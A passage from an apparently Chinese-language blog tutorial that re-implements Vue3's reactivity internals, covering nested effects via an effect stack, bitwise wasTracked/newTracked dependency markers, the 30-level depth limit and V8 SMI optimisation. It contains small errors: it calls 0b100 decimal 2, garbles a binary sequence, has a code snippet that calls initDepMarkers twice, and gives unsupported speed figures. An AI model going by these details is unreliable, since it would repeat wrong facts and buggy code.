  • 添加权限userPermissions |= PERMISSIONS.WRITE(O(1))。
  • 移除权限userPermissions &= ~PERMISSIONS.WRITE(O(1))。
  • 检查权限:按位与操作(O(1))。

(3) 组合权限灵活

// 检查是否同时有读和写权限
const required = PERMISSIONS.READ | PERMISSIONS.WRITE;
const hasAll = (userPermissions & required) === required;

那么根据上述权限系统的实现的启发,我们就可以设计如果当前依赖层级为 1,那么历史层级的追踪状态变量 wasTracked 就会被设置为 0b1,当前层级为 2 那么 wasTracked 就会被设置为 0b10,同样地 3,4 ... 层就会被设置为 0b1000b1000,如果一个变量在1、2、3、4层都被引用,那么 wasTracked 就会被设置为:0b1111。同样地当前层级的追踪状态 newTracked 也是如此设计。

同样地,层级变量也可以使用二进制表示,比如,1层为:0b1;2层为:0b10;3层为:0b100。这样标记和判断等相关操作都可以通过位运算进行。比如当前层级为2,那么 层级变量 = 0b10,那么标记添加则是 wasTracked = wasTracked | 0b10;而判断当前历史层级是否已被标记则是 has = wasTracked & 0b10

位运算的原子性操作(如 |=&)速度远超传统 Set 的操作(如遍历、过滤),且位运算具有极致的性能优势,这就是为什么使用为什么要使用位运算来设计依赖优化。

组件嵌套的 effect 实现原理

我们前面讲到多层嵌套的 effect,会存在内存占用高操作缓慢的缺点。而我们前面实现的 Vue3 响应式源码是还没实现嵌套 effect 的,所以我们先要实现嵌套 effect。例如下面的例子:

window.state = reactive({ parent: 'parent', child: 'child' })
effect(() => {
    effect(() => {
        console.log(`我是子组件:${state.child}`)
    })
  console.log(`我是父组件:${state.parent}`)
})

执行结果如下:

image.png

我们给 state.child 重新赋值:

image.png

这时子组件的 effect 执行了,这是正常的。

接著我们给 state.parent 重新赋值:

image.png

这时我们发现父组件的 effect 不执行了。这是为什么呢?我们来观察一下我们之前实现的 ReactiveEffect 类:

class ReactiveEffect {
    deps = []
    constructor(fn) {
        this._fn = fn
    }
    run () {
        activeEffect = this
        this._fn()
        activeEffect = null
    }
    stop () {
      this.deps.forEach(dep => dep.delete(this))
    }
} 

我们知道 activeEffect 变量是唯一的,当嵌套之后,子组件执行完之后,activeEffect 将被设置了 null,这时父组件如果还有响应式数据需要收集的时候,由于 activeEffect 为 null 而会导致父组件的响应式数据的依赖收集不到。

为了解决这个问题,Vue3 底层设置了一个副作用函数栈变量 effectStack,我们要确保 activeEffect 始终指向当前正在运行的响应式副作用 effect。实现代码如下:

// 用于管理嵌套 effect 的调用栈
const effectStack = []
class ReactiveEffect {
    // 存储所有包含本 effect 的依赖集合(Set)
    // 用于实现 stop 功能时快速清理依赖
    deps = []
    constructor(fn) {
        // 包装的副作用函数(开发者传入的原始函数)
        this._fn = fn
    }
    // 执行副作用函数,并触发依赖收集
    run () {
        // 这里为什么要用try...finally呢?比如如果_fn中有错误,finally块仍然会执行,保证栈的平衡。
        try {
            // 1. 设置当前激活的 effect 为自身
            activeEffect = this;
            // 2. 压入 effect 调用栈(处理嵌套 effect 的关键)
            effectStack.push(this);
            // 3. 执行原始函数,触发响应式属性的 getter,进行依赖收集
            return this._fn(); // 返回函数执行结果(支持 computed 等场景)
        } finally {
            // 4. 无论执行是否抛出异常,确保以下清理逻辑一定执行
            effectStack.pop(); // 当前 effect 出栈
            // 5. 恢复 activeEffect 为上一个 effect(栈顶元素)或 undefined
            activeEffect = effectStack.length > 0 ? effectStack[effectStack.length - 1] : undefined;
        }
    }
    // 停止当前 effect 的响应式追踪
    stop () {
      // 遍历所有关联的依赖集合,从中删除本 effect
      this.deps.forEach(dep => dep.delete(this))
    }
} 

主要的实现思路也很简单,就是在执行原始函数之前,先把当前的响应式副作用压入 effectStack 调用栈,通过使用 try...finally 确保无论 this._fn() 是否抛出异常,effectStack 都会被正确弹出,activeEffect 会被恢复为上一个响应式副作用 effect 或 undefined。这样通过维护 effectStack,确保嵌套的响应式副作用 effect 的执行顺序正确,activeEffect 变量始终指向当前正在运行的响应式副作用 effect。

我们再来看看迭代后的执行结果:

image.png

我们可以看到当父组件的响应式变量 parent 被改变后,相关的嵌套代码都被执行了。

到此,我们就实现了嵌套 effect

依赖标记流程

初始化依赖的追踪状态标记

初始化依赖的追踪状态标记的核心逻辑就是在副作用函数执行前,记录所有 已有依赖 的追踪状态,即某个依赖在 上一轮执行 中被追踪过,其对应的位会被标记到 wasTracked 中。具体就是将每个依赖的 wasTracked 字段的 当前层级对应位 设为 1。我们可以设置一个全局变量 effectTrackDepth 来表示当前副作用执行的 递归深度,也就是所谓层级,初始为 0,每递归一次就增加 1。在每一轮的副作用函数执行前,将全局递归深度加 1,表示进入新一层级,执行完副作用函数后,将全局递归深度减 1,表示返回到上一层级的执行环境。

然后通过位运算 1 << effectTrackDepth 生成一个二进制掩码,也就是 第 effectTrackDepth 位为 1,其余位为 0。例如,若 effectTrackDepth = 2,则掩码为 0b100(十进制 2)。这样每个递归层级 effectTrackDepth 对应独立的二进制位,避免嵌套 effect 的依赖状态相互干扰。最后通过按位或操作(|),将 wasTracked 的对应二进制位设为 1,其他位保持不变。

具体代码实现如下:

// 用于管理嵌套 effect 的调用栈
const effectStack = []
+ // 当前副作用执行的递归深度
+ let effectTrackDepth = 0
class ReactiveEffect {
    // 存储所有包含本 effect 的依赖集合(Set)
    // 用于实现 stop 功能时快速清理依赖
    deps = []
    constructor(fn) {
        // 包装的副作用函数(开发者传入的原始函数)
        this._fn = fn
    }
    // 执行副作用函数,并触发依赖收集
    run () {
        // 这里为什么要用try...finally呢?比如如果_fn中有错误,finally块仍然会执行,保证栈的平衡。
        try {
            // 1. 设置当前激活的 effect 为自身
            activeEffect = this;
            // 2. 压入 effect 调用栈(处理嵌套 effect 的关键)
            effectStack.push(this);
+            // 将全局递归深度加 1,表示进入新一层级
+            effectTrackDepth++;
+            // 初始化标记
+            this.initDepMarkers();
            // 3. 执行原始函数,触发响应式属性的 getter,进行依赖收集
            return this._fn(); // 返回函数执行结果(支持 computed 等场景)
        } finally {
+            // 将全局递归深度减 1,表示返回到上一层级的执行环境 
+            effectTrackDepth--;
            // 4. 无论执行是否抛出异常,确保以下清理逻辑一定执行
            effectStack.pop(); // 当前 effect 出栈
            // 5. 恢复 activeEffect 为上一个 effect(栈顶元素)或 undefined
            activeEffect = effectStack.length > 0 ? effectStack[effectStack.length - 1] : undefined;
        }
    }
    // 停止当前 effect 的响应式追踪
    stop () {
      // 遍历所有关联的依赖集合,从中删除本 effect
      this.deps.forEach(dep => dep.delete(this))
    }
+    // 初始化依赖的追踪状态标记
+    initDepMarkers() {
+        const { deps } = this
+        if (deps.length) {
+            for (let i = 0; i < deps.length; i++) {
+                // 若某个依赖在 上一轮执行 中被追踪过,其对应的位会被标记到 wasTracked 中
+                deps[i].wasTracked = deps[i].wasTracked | 1 << effectTrackDepth
+            }
+        }
+    }
} 

小结一下:当副作用函数 effect 执行时,会进入不同的递归层级,每个层级对应一个位。在初始化时,会通过 initDepMarkers 方法设置对应依赖的 wasTracked 属性的位,表示上一轮这个依赖是否被跟踪。

通过位运算判断是否收集依赖

我们在之前的依赖收集的判断逻辑是这样的,判断全局变量 activeEffect 是否存在,存在就进行收集, 那么现在我们要判断当前依赖的当前层级是否标记该依赖为已追踪,也就是 deps.newTracked 的对应层级 (1 << effectTrackDepth) 是否为 1。这就要通过与运算(&)来判断。我们通过封装一个函数来实现这个功能,代码如下:

function newTracked(dep) {
  return (dep.newTracked & (1 << effectTrackDepth)) !== 0;
}

若当前层级未标记该依赖为已追踪(!newTracked(dep)),则需要将当前依赖 newTracked 设置为当前层级 (1 << effectTrackDepth) ,也就是标记为 1。我们通过封装一个函数来实现这个功能,代码如下:

function setNewTracked(dep) {
  dep.newTracked |= (1 << effectTrackDepth); // 按位或操作
}

最后我们还要检查依赖的 wasTracked 字段的当前层级(1 << effectTrackDepth) 对应 是否为 1(即是否在上一轮执行中被追踪过)。我们通过封装一个函数来实现这个功能,代码如下:

function wasTracked(dep) {
  return (dep.wasTracked & (1 << effectTrackDepth)) !== 0;
}

整体代码迭代如下:

function track(target, key) {
    let depsMap = targetMap.get(target)
    if (!depsMap) {
        depsMap = new Map()
        targetMap.set(target, depsMap)
    }
    let deps = depsMap.get(key)
    if (!deps) {
      deps = new Set()
      // 标记依赖在 上一轮执行周期 中是否被追踪
      deps.wasTracked = 0
      // 标记依赖在 当前执行周期 中是否被追踪
      deps.newTracked = 0
      depsMap.set(key, deps)
    }
-    if (activeEffect) {
-        deps.add(activeEffect)
-        activeEffect.deps.push(deps)
-    }
+    trackEffects(deps)
}

+ function trackEffects(dep) {
+     let shouldTrack = false
+     if (!newTracked(dep)) {
+      setNewTracked(dep)
+      shouldTrack = !wasTracked(dep)
+    }

+    if (shouldTrack) {
+        dep.add(activeEffect)
+        activeEffect.deps.push(dep)
+    }
+ }

+ function newTracked(dep) {
+   return (dep.newTracked & (1 << effectTrackDepth)) !== 0;
+ }

+ function setNewTracked(dep) {
+   dep.newTracked |= (1 << effectTrackDepth); // 按位或操作
+ }

+ function wasTracked(dep) {
+   return (dep.wasTracked & (1 << effectTrackDepth)) !== 0;
+ }

在执行 effect 函数的过程中,当访问响应式属性时,会调用 track 函数,进而调用 trackEffects,设置 newTracked 的位,表示当前层级这个 dep 被跟踪了。

接着我们测试一下我们写的代码,测试代码如下:

window.state = reactive({ flag: false,  a: 'parent', b: 'child' })
effect(() => {
  if (state.flag) {
    console.log(`条件一:${state.a}`);
  } else {
    console.log(`条件二:${state.b}`);
  }
});

我们运行上面的测试代码,结果输出:条件二:child。这是正确的输出结果。说明我们上述的迭代代码是正确的。

我们现在改变 flag 的值, state.flag = true,结果输出:条件一:parent。这也是正确的输出结果。这时我们再改变 b 的值, state.b = '掘金签约作者',结果输出:条件一:parent,这个结果不是我们期待的,因为 b 属性我们已经不再使用了,b 属性值的改变不应该再触发更新才对。所以我们还要实现最后一个功能,通过位运算实现动态依赖的精准管理。

实现动态依赖精准管理

我们通过上文知道当effect执行时,会进入不同的递归层级,每个层级对应一个位。在初始化时,会通过initDepMarkers方法设置wasTracked的位,表示上一轮这个dep是否被跟踪。然后在执行effect函数的过程中,当访问响应式属性时,会调用track函数,进而调用trackEffects,设置newTracked的位,表示当前层级这个dep被跟踪了。

我们现在需要做的就是比较这两个标记,如果一个dep在之前被跟踪(wasTracked为真),但在当前没有被跟踪(newTracked为假),说明这个dep在当前层级不再被需要,因此需要从dep的集合中移除这个effect。这样我们就可以实现清理那些不再被依赖的effect,防止内存泄漏和无效的触发。

代码迭代如下:

// 用于管理嵌套 effect 的调用栈
const effectStack = []
let effectTrackDepth = 0
class ReactiveEffect {
    // 存储所有包含本 effect 的依赖集合(Set)
    // 用于实现 stop 功能时快速清理依赖
    deps = []
    constructor(fn) {
        // 包装的副作用函数(开发者传入的原始函数)
        this._fn = fn
    }
    // 执行副作用函数,并触发依赖收集
    run () {
        // 这里为什么要用try...finally呢?比如如果_fn中有错误,finally块仍然会执行,保证栈的平衡。
        try {
            // 1. 设置当前激活的 effect 为自身
            activeEffect = this;
            // 2. 压入 effect 调用栈(处理嵌套 effect 的关键)
            effectStack.push(this);
            // 
            effectTrackDepth++;
            // 初始化标记
            this.initDepMarkers();
            // 3. 执行原始函数,触发响应式属性的 getter,进行依赖收集
            return this._fn(); // 返回函数执行结果(支持 computed 等场景)
        } finally {
+            this.finalizeDepMarkers();
            effectTrackDepth--;
            // 4. 无论执行是否抛出异常,确保以下清理逻辑一定执行
            effectStack.pop(); // 当前 effect 出栈
            // 5. 恢复 activeEffect 为上一个 effect(栈顶元素)或 undefined
            activeEffect = effectStack.length > 0 ? effectStack[effectStack.length - 1] : undefined;
        }
    }
    // 停止当前 effect 的响应式追踪
    stop () {
      // 遍历所有关联的依赖集合,从中删除本 effect
      this.deps.forEach(dep => dep.delete(this))
    }
    // 初始化依赖的追踪状态标记
    initDepMarkers() {
        const { deps } = this
        if (deps.length) {
            for (let i = 0; i < deps.length; i++) {
                // 若某个依赖在 上一轮执行 中被追踪过,其对应的位会被标记到 wasTracked 中
                deps[i].wasTracked = deps[i].wasTracked | 1 << effectTrackDepth
            }
        }
    }
+    // 清理无效依赖 并 优化依赖集合
+    finalizeDepMarkers() {
+        const { deps } = this
+        if (deps.length) {
+            for (let i = 0; i < deps.length; i++) {
+                const dep = deps[i]
+                // 根据依赖的跟踪状态,清理不再需要的依赖
+                if (wasTracked(dep) && !newTracked(dep)) {
+                    // 移除当前 effect 对该 dep 的依赖
+                    dep.delete(this)
+                }
+            }
+        }
+    }
} 

我们再运行上面的测试代码,结果输出:条件二:child。我们接着改变 flag 的值, state.flag = true,结果输出:条件一:parent。这也是正确的输出结果。这时我们再改变 b 的值, state.b = '掘金签约作者',结果输出:条件一:parent,这个结果还是不是我们期待的,为什么呢?

主要是因为现在只要我们的依赖的层级只要被标记上了,就一直是这个状态了。假设当前层级为 2,上述测试代码中需要删除的 b 属性依赖的层级初始标记状态为:wasTracked = 0b100, newTracked = 0b100,那么后续 b 属性的层级状态就一直是这个状态了,当判断是否需要删除的时候,我们需要判断 wasTracked 是否为 true,因为已经被标记过了,所以为 true,同样判断 newTracked 是否为 false 时,因为已经被标记过了,所以为 true

所以在退出当前层级前,清除该层级对应的位掩码,确保下一层级的标记从干净状态开始。具体代码实现如下:

class ReactiveEffect {
    // ...
    // 清理无效依赖 并 优化依赖集合
     finalizeDepMarkers() {
        const { deps } = this
        if (deps.length) {
            for (let i = 0; i < deps.length; i++) {
                const dep = deps[i]
                // 根据依赖的跟踪状态,清理不再需要的依赖
                if (wasTracked(dep) && !newTracked(dep)) {
                    // 移除当前 effect 对该 dep 的依赖
                    dep.delete(this)
                }
+                // 清除该层级对应的位掩码
+                const trackOpBit = 1 << effectTrackDepth
+                dep.wasTracked = dep.wasTracked & ~trackOpBit
+                dep.newTracked = dep.newTracked & ~trackOpBit
            }
        }
    }
}

总的来说就是当 effect 执行完成后,通过比较 wasTrackednewTracked 的位掩码,可以快速确定哪些依赖在本次执行中没有被访问,从而进行清理。同时退出当前层级前,清除该层级对应的位掩码,确保下一层级的标记从干净状态开始。

递归层级限制30层的设计原因

Vue3 底层选择 30 层作为最大递归层级,因为 V8 引擎对 31/32 位整数直接存储于指针,无需堆分配,读写速度提升 10 倍,30 层限制确保位运算结果始终为 SMI,避免退化为堆内存对象导致性能退化,所以选择 30 层是为了确保现代JS引擎在所有平台上都能使用 SMI(小整数)优化。当超出 30 层时,回退到全量清理,保障极端场景稳定性。

代码优化迭代如下:

+ const maxMarkerBits = 30
class ReactiveEffect {
    // ...
    run () {
        try {
            // 1. 设置当前激活的 effect 为自身
            activeEffect = this;
            // 2. 压入 effect 调用栈(处理嵌套 effect 的关键)
            effectStack.push(this);
            effectTrackDepth++;
-            this.initDepMarkers()
+            if (effectTrackDepth <= maxMarkerBits) {
+                this.initDepMarkers()
+            } else {
+                // 当递归深度超过30层时,回退到完全清理模式
+                this.cleanup()
+            }
            // 初始化标记
            this.initDepMarkers();
            // 3. 执行原始函数,触发响应式属性的 getter,进行依赖收集
            return this._fn(); // 返回函数执行结果(支持 computed 等场景)
        } finally {
-            this.finalizeDepMarkers()
+            if (effectTrackDepth <= maxMarkerBits) {
+                this.finalizeDepMarkers()
+            }
            effectTrackDepth--;
            // 4. 无论执行是否抛出异常,确保以下清理逻辑一定执行
            effectStack.pop(); // 当前 effect 出栈
            // 5. 恢复 activeEffect 为上一个 effect(栈顶元素)或 undefined
            activeEffect = effectStack.length > 0 ? effectStack[effectStack.length - 1] : undefined;
        }
    }
    // ...
+    // 完全清理模式
+    cleanup() {
+        const { deps } = this
+        if (deps.length) {
+            for (let i = 0; i < deps.length; i++) {
+                deps[i].delete(this)
+            }
+            deps.length = 0
+        }
+    }
} 

SMI(Small Integer)优化的核心原理

我们上面提到 Vue3 底层选择 30 层作为最大递归层级,是为了确保现代JS引擎在所有平台上都能使用 SMI(小整数)优化。

首先,我们得看一下 SMI 的概念。SMI 代表 Small Integer,是 V8 引擎对特定范围内整数的优化存储方式。在 V8 引擎中,SMI(Small Integer)优化 的核心原理是通过 指针标签(Pointer Tagging)  技术,将小整数直接嵌入指针值中,而非存储在堆内存中。以下是其性能优势的详细解析:

指针的结构

  • 指针的本质
    指针是一个内存地址,通常用 32 位(32 位系统)或 64 位(64 位系统)表示。

  • 标签位(Tagging Bits)
    V8 利用指针的低位(如最低 1~2 位)作为 类型标记,例如:

    • 表示该指针是一个 SMI(直接存储整数值)。
    • 表示该指针是一个 堆对象地址(需要解引用获取实际值)。

SMI 的存储方式

直接嵌入指针
V8 将小整数的二进制值 左移 1 位(腾出最低位作为标签),然后存入指针。

堆分配的数字
若数字超出 SMI 范围(如大整数、浮点数),V8 会在堆内存中分配一个 Number 对象,并将指针指向该对象。

内存访问开销

  • SMI(指针存储)
    值直接存储在指针中,读取时 无需访问堆内存,直接解析指针值即可。

  • 堆分配的数字
    需要 两次内存访问

    1. 读取指针地址。
    2. 根据指针地址访问堆内存中的 Number 对象。

内存分配开销

  • SMI
    无堆内存分配和释放操作,避免 内存管理开销(如垃圾回收)。
  • 堆分配的数字
    需调用内存分配器,可能触发 垃圾回收(GC) ,增加延迟。

CPU 缓存友好性

  • SMI
    数值直接存储在指针中,与其他指针数据一起被 CPU 缓存,缓存命中率高
  • 堆分配的数字
    Number 对象分散在堆内存中,缓存局部性差,缓存未命中率高

指令优化

SMI 操作
通过简单的位运算(如移位、掩码)即可完成数值解析,CPU 指令周期短

堆分配数字操作
需要额外的解引用指令和类型检查,指令周期长

设计哲学

空间换时间

  • SMI:牺牲 1 位指针空间(用于标签),换取极致性能。
  • 堆分配:以内存和速度为代价,支持更大数值范围。

高频场景优化

  • 现实场景
    大多数 JavaScript 程序中的整数是小范围的(如循环计数器、数组索引),SMI 覆盖了 99% 的用例。
  • 收益最大化
    对高频操作(如依赖收集、循环计数)进行极致优化,显著提升整体性能。

综上所述,V8 通过 指针标签技术 将小整数(SMI)直接存储在指针中,实现了以下优势:

  1. 零内存分配:避免堆操作和垃圾回收开销。
  2. 直接访问:无需解引用,减少内存访问次数。
  3. CPU 友好:位运算指令快,缓存命中率高。

这些优化使得 SMI 的读写速度比堆分配的数字快 10 倍以上,成为 JavaScript 高性能引擎的核心技术之一。Vue3 的依赖收集系统正是基于此特性,通过位运算和层级限制,实现了高效的响应式更新。

总结

最后我们来总结一下,Vue3 通过位运算设计实现以下响应式系统的优化:

  • 层级化状态标记:通过位掩码精准管理递归层级依赖。
  • 动态清理机制:按位比对移除失效依赖,避免冗余触发。
  • 性能与内存平衡:SMI 优化保障操作速度,30 层限制避免边界问题。

这一机制在复杂组件、高频更新及深层嵌套场景下表现卓越,是 Vue3 响应式系统的核心创新之一。

我是程序员Cobyte,现在已转向研究 AI Agent,欢迎添加 v: icobyte,学习交流 AI Agent 应用开发。

❌
❌